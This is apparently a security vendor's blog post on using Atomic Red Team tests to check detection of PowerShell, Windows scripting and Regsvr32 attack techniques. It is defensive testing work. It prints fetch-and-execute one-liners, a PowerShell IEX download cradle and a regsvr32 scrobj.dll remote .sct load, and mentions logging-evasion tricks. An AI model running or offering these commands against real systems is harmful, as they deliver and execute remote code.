Testing the Top MITRE ATT&CK Techniques: PowerShell, Scripting, Regsvr32

You may think you have the ability to detect certain threats, but you can’t know for certain unless you’re regularly testing your detection coverage. In this blog, we’re going to walk you through some Atomic Red Team tests that you can run to emulate adversaries and confirm that you are able to detect the types of attacks that have been most prevalent in the environments we monitor. If you haven’t done so already, you should download our 2019 Threat Detection Report, which offers analysis of the most common adversary techniques that we’ve observed and associated detection strategies.

Pre-Testing: Is the Data Flowing?

The first phase in any testing effort is to ensure that all the data is flowing properly. So, before you run any tests, make sure you can observe PowerShell execution on a host, and that the data is flowing into a place where you can perform analysis. If you want to accelerate this or setup a quick lab, check out Chris Long’s (@Centurion) DetectionLab.

So, set up your test box, go grab Atomic Red Team, and let’s get to it!

PowerShell

There are a number of ways to observe PowerShell activity. MITRE ATT&CK lists the following data sources to observe PowerShell:

• Windows Registry
• File monitoring
• Process monitoring
• Process command-line parameters

I would add Windows PowerShell Event Logs to this list as well. Attackers will occasionally try to downgrade from later to earlier versions of PowerShell in order to prevent logging, so you should consider uninstalling PowerShell version 2 and enabling logging on a more recent version (3 and up) where possible. This should effectively reduce your attack surface.

Microsoft has done an incredible job developing logging mechanisms. Please refer to these excellent blogs from the PowerShell team and from FireEye to learn more.

For PowerShell, we will focus our testing on just three specific techniques, although there are certainly more that we can write up later. For now, we’ll spare you the demons of Daniel Bohannon’s Invoke-Obfuscation…

PowerShell Command Line: Fetch and execute a remote script

In this test, we will leverage one of the most basic PowerShell offensive primitives: retrieving and executing a script from a remote location. There are samples of what we refer to as download cradles, and sometimes there are nuances to the command depending on the version. Using the .NET framework, or built in PowerShell cmdlets, we can download and execute anything.

Example 1:

One of the easiest Atomic tests for PowerShell testing is to execute a remote script.


powershell.exe -noexit -ep bypass -command IEX((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.ps1'))


We have a sample script stored here.

After running this test, we have the opportunity to observe specific characteristics on the command line, including:

• Process_name:powershell.exe
• Cmdline: IEX
• cmdline:.DownloadString
• cmdline:HTTP

We can also observe PowerShell performing a network connection to a remote destination.

Example 2:

Another PowerShell primitive is the encoded command line, which offers an innovative way for sysadmins or adversaries to avoid complex structures and command line nesting by simply base64 encoding the command.

To encode any command in PowerShell, you can use one or more of following:

This is the obfuscated output:

Now that we’ve developed and tested some capabilities to observe PowerShell in the command line, you should consider the following tools for more advanced testing: TrustedSec’s Unicorn tool and Daniel Bohannon’s Invoke-Obfuscation.

PowerShell Process Monitoring

The next type of PowerShell testing we’ll examine is process ancestry, which is essentially just observing the processes that are spawning PowerShell. The objective is to root out any potentially suspicious process relationships, and we have two tests in Atomic Red Team that can help with this.

Example 1:

Instances of a Microsoft Office Product spawning PowerShell are one of the most common suspect parent-child-process relationships we observe. We will come back to this same test later, but for now, we will create a very basic Office document with a macro that uses an encoded command to execute PowerShell.

Example 2:

In this example, we’ll leverage a regsvr32.exe test to spawn PowerShell.


regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1086/payloads/test.sct scrobj.dll


This is a two part test. We use regsvr32.exe to reach out to a remote destination and then execute a command to initiate PowerShell. The idea here is that we can look at powershell.exe and its parent process to see if the relationship makes sense. You could also use something like this:

At first, you might think that this is PowerShell spawned from cscript.exe or wscript.exe. However, if you test it, you will observe that VBScript is actually proxying execution through Windows Management Instrumentation (WMI). The important takeaway here is that we can proxy execution through another process and that this can then break detections that depend on a specific process chain or sequence.

Things may not always be as they seem. This type of misdirection is common with more advanced adversaries, and this is one of the reasons that we test.

Closing Thoughts On PowerShell Testing

Given the prevalence of PowerShell among adversaries and our wide—but admittedly not exhaustive—variety of Atomic Red Team tests, PowerShell is a good place to begin testing.

Scripting

There are a number of ways to execute scripts on modern operating systems. For this test case, we will focus on Windows Scripting. Examples include JScript, VBScript, and XML/XSL. These represent some of the most common scripting harnesses. Classic observations of script execution on Windows, however, will typically include cscript.exe or wscript.exe., but we’re going to focus on some more interesting ways to execute scripts.

The recommended data sources to observe scripting include:

• Process monitoring
• File monitoring
• Process command-line parameters

It’s worth adding dynamic link library (DLL) monitoring to that list as well because scripts don’t run in isolation. They need a host environment, and sometimes a process loading up the script host DLL may lead you to a detection.

Example 1:

Wmic.exe will accept a .xsl file as a process input that can contain either JScript or VBScript wrapped in the CDATA block.

Here is an example of this in Atomic Red Team:

Example 2:

Rundll32.exe offers another method for unexpected script execution. We can use a JavaScript or VBScript scheme to call back to a remote resource and execute our script.

Closing Thoughts On Scripting

Scripts can often be executed in unexpected ways, and they are performant and powerful as well, which makes them attractive to adversaries. We have a number of tests in Atomic Red Team to emulate this. Our hope is that these scripts begin to give us a sense of where we might see scripts executed and how you might be able to observe them. In addition to all of this, you may want to consider testing how you can execute .NET payloads in scripts.

Regsvr32

We use this classic one-line command often as a simple way to exercise detection. In some ways, it has become like a telemetry ping, and there are so many components of detection that can be exercised in a single command.

The recommended data sources for detection of regsvr32 are:

• Loaded DLLs
• Process monitoring
• Windows Registry
• Process command-line parameters

Regsvr32.exe is a default Windows tool used to register COM objects, but the execution of it does not necessarily point to bad behavior. So, these tests offer helpful ways to start training your team so that they can differentiate normal uses of regsvr32 from suspicious ones and suppress and filter detection logic accordingly.

We have three tests in Atomic Red Team to help you test for this technique.

We will examine one of them to help you test coverage.

Example 1:

In this test, we can execute a single command to download and execute a .sct file from a remote resource.

In the screenshot below, you can see that we are using the PowerShell Execution Framework in Atomic Red Team to build the test objects from YAML and then execute them. This part of Atomic Red Team allows for teams to automate tests in their environments.

Closing Thoughts On Regsvr32

Since regsvr32 is a trusted tool, it’s a powerful and simple way to evade many modern defenses that can’t be easily banned. However, by observing the command line and DLL Loading, we have the opportunity to distinguish between normal and suspicious uses of this tool.

Conclusion

We hope that this article demonstrates that testing is relatively easy, and that you can jump right in and get testing immediately. Many of these adversarial techniques can be understood and described in simple tests. While we focused in this blog on the top three techniques, these—in reality—rarely occur in isolation. For that reason, we developed several Atomic Red Team Chain Reactions that allow you to execute a series of tests in sequence to more closely mimic an actual attack.

In the test we linked to above, our goal is to execute a sequence of tests to see what we can observe.

As you can see, we will create a scheduled task that calls regsvr32.exe, executes PowerShell to run a script from a remote destination, and then performs a time stomp. We outlined the DragonsTail chain reaction in detail in a previous article.

Atomic Red Team is a free and open source project, so feel free to use it, change it, contribute, or whatever. Thanks for taking the time to read the blog, and, as always, we welcome your feedback. Also a huge shout out again to our friends at MITRE ATT&CK, who’ve done a thorough job of cataloging both the adversary techniques and the data sources required to observe the adversaries leveraging the techniques.

Ultimately, we believe that the best way to ensure coverage for various techniques is to test often, and iterate to improve accordingly.